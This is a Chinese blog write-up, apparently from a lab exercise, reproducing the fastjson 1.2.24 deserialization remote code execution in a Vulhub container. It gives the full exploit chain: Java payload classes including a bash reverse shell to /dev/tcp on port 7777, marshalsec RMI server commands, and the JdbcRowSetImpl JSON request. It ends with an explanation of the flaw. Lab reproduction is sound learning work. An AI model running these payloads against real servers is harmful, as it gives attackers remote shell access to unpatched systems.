VULHUB复现fastjson1.2.24反序列化漏洞

发布于:2024-05-03 ⋅ 阅读:(29) ⋅ 点赞:(0)
蚌埠住了,遇到了很多奇奇怪怪的问题。
如果你问我为啥不用kali,我会告诉你,我电脑上的kali装不成docker-compose!我急用了ubuntu

如果你问我为啥用ubuntu克隆,我会告诉你,我电脑上的kali不能安装成功java8这个版本

如果你问我为什么不直接拖拉文件到ubuntu中,我会告诉你,我安装了很多东西,没有给成功的,直接使用了sftp

如果你问我你最后成功了嘛? 我会告诉你,我成功了!
如果你也和我一样遇到很多问题,别慌,多检索,多问AI,总会解决的,只是时间长短的问题。

首先搞一台linux主机,我使用的是ubuntu,原因不想再说了,说多了都是泪,你需要先在上面安装docker,java8,docker-compose,vulhub这些很简单,自己上网检索,安装完再回来看下面的内容。

进入vulhub/fastjson/1.2.24那个目录先编译docker-compose build ,然后再启动docker-compose up -d 然后查看一下启动的端口docker-compose ps 之后直接在浏览器中访问ip:端口,可以看见这样子的东西:
在这里插入图片描述

接下来就需要编译一个java文件为class,源代码为(java和javac都需要8版本的,不然后面会出错):
java文件的内容:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/successFrank"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

它的作用就是创建一个文件,/tmp/successFrank,如果最后复现成功,容器中会多一个文件就是这个东西。
编译javac TouchFile.java,会生成class文件,之后输入命令

python -m http.server 4444

即可看到这样的画面:
在这里插入图片描述
好的这是我们的第一个大步骤,现在什么都不用管,再拿来一台linux服务器,我这里克隆的之前的ubuntu,它上面的java版本也需要是8才行,因为之前安装过了java8,故而克隆下来的系统自带java8,默认好像是11?有点儿忘记了。
输入:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.131:4445/#TouchFile" 9999

其中marshalsec-0.0.3-SNAPSHOT-all.jar需要你自己构建一下,我使用的是idea里面的maven,你也可以使用命令,源代码在https://github.com/mbechler/marshalsec地方,下载下来输入命令mvn clean package -DskipTests,我直接用maven的package搞了一下,你自己可以看看哪个更方便?
把生成的东西放到ubuntu上,然后再输入上面的命令,我觉得上面的命令大概意思就是如果请求我这台克隆来的服务器上的9999端口,就会映射请求到http://192.168.220.131:4445/#TouchFile资源,于是touchfile这个文件就会在容器中创建一个/tmp/successFrank的东西,那怎么请求我这台克隆来的服务器上的9999端口呢?

使用burp抓包http://192.168.220.131:8090/,修改请求为post,并修改后面两句为:

Content-Type: application/json
Content-Length: 170
 
 
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://克隆ubuntu的ip地址:9999/TouchFile",
        "autoCommit":true
    }
 
}

发送,如果出现500,说明应该没问题了:
在这里插入图片描述
此时进入第一台ubuntu服务器的容器中,先找到容器的id

docker ps

然后进入其中:

root@carrot-virtual-machine:/# docker ps
CONTAINER ID   IMAGE                    COMMAND                  CREATED       STATUS          PORTS                                       NAMES
39c4ae537e86   vulhub/fastjson:1.2.24   "java -Dserver.addre…"   6 hours ago   Up 50 minutes   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp   1224-rce_web_1

root@carrot-virtual-machine:/# docker exec -it 39c4ae537e86 /bin/bash
root@39c4ae537e86:/# ls
bin  boot  dev	etc  home  lib	lib64  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var
root@39c4ae537e86:/# cd tmp/
root@39c4ae537e86:/tmp# ls
hsperfdata_root  successFrank  tomcat-docbase.1858533243464165597.8090	tomcat.2229654376609753556.8090  tomcat.4338483899289680775.8090

发现已经创建了successFrank文件,说明请求已经过来了,复现成功!

这个使用你可能会问,我看网上说这个可以反弹shell的!你搞了个啥东西,和shell有关系吗?垃圾文章,然后把我拉黑~
我说兄弟你先别急,听我解释!
你想想既然你都能创建successFrank文件了,这文件怎么来的?是不是你自定义的java代码实现的,那你写个能反弹shell的java代码采用一样的办法,想新建文件那样,是不是你就能反弹shell了,如果你还有些疑问,来看看我反弹shell吧~
来,上getshell的java源代码,别一激动忘记编译了:

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

分析一下:

这句话是一个 Bash 命令,由三部分组成:
“/bin/bash”:指定要执行的程序,即 Bash shell。
“-c”:表示后面跟随着一个要执行的命令或脚本。
“bash -i >& /dev/tcp/192.168.200.131/7777”:要执行的命令。这个命令的含义是打开一个交互式的 Bash shell,并将其输入和输出重定向到指定的 TCP 连接。具体来说:
bash -i:启动一个交互式的 Bash shell。
& /dev/tcp/192.168.200.131/7777:将标准输出和标准错误重定向到指定的 TCP 连接,这里是 192.168.200.131 主机的 7777 端口。这样,命令的输出就会发送到指定的主机和端口上。
综合起来,这个命令的作用是在当前环境中启动一个交互式的 Bash shell,并将其输入和输出重定向到指定的 TCP 连接,以便与远程主机进行通信。
说人话就是把自己的shell给了你想给的主机

在这里插入图片描述

起一个http服务:

python3 -m http.server 4446

查看一下效果
在这里插入图片描述
监听一下7777端口,因为我们会把shell反弹到这里:
在这里插入图片描述
在另一个克隆的ubuntu上面执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.131:4442/#GetShell" 9999

在这里插入图片描述

这里的意思是访问这台主机,会转发到192.168.220.131:4446这台主机上,并且触发getshell这个文件,而这个文件会把自己的shell弹到7777端口。
发送的内容:

POST / HTTP/1.1
Host: 192.168.220.131:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 171
 

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.220.142:9999/GetShell",
        "autoCommit":true
    }
 
}


在这里插入图片描述
克隆主机的反应:
在这里插入图片描述
让我看看有没有反弹shell吧~

在这里插入图片描述
看起来好像成功了耶!!!
敲几个命令试试:
在这里插入图片描述
完美!!

至此,上面我们使用的都是两个服务器,如果在真实环境中,我只有一台云服务器呢?我们现在就来试试一台服务器能不能做到反弹shell:
准备一下环境:
在这里插入图片描述
做好响应操作,前面做了很多次了,这里掠过,直接看一下请求包:
在这里插入图片描述

最后的结果:
在这里插入图片描述

事实证明同一个所有地方用到同一个ip是完全可行的。好吧,这就很搞不懂网上为什么一定要折腾两个主机出来呢,难道是为了条理清晰起见?

实验做完了,我们来回顾一下原理吧。。。。
我觉得这个很好,你仔细看看这个:
在这里插入图片描述
然后再看看这些解释,你就能明白了:
漏洞原理
1.啥是json?
json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。举个简单的例子如下:

{

        "name":"BossFrank",

        "age":23,

        "media":["CSDN","bilibili","Github"]

}

json本质就是一种字符串,用于信息的存储和交换。

2.啥是fastjson?
fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。

3.fastjson序列化/反序列化原理
fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢?

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{“Fruit”:{“price”:0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{“Fruit”:{“price”:5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }

这样在反序列化的时候就可以区分原始的类了。

4.fastjson反序列化漏洞原理
使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机服务器执行了恶意代码,被攻击者成功利用。


网站公告

今日签到

点亮在社区的每一天
去签到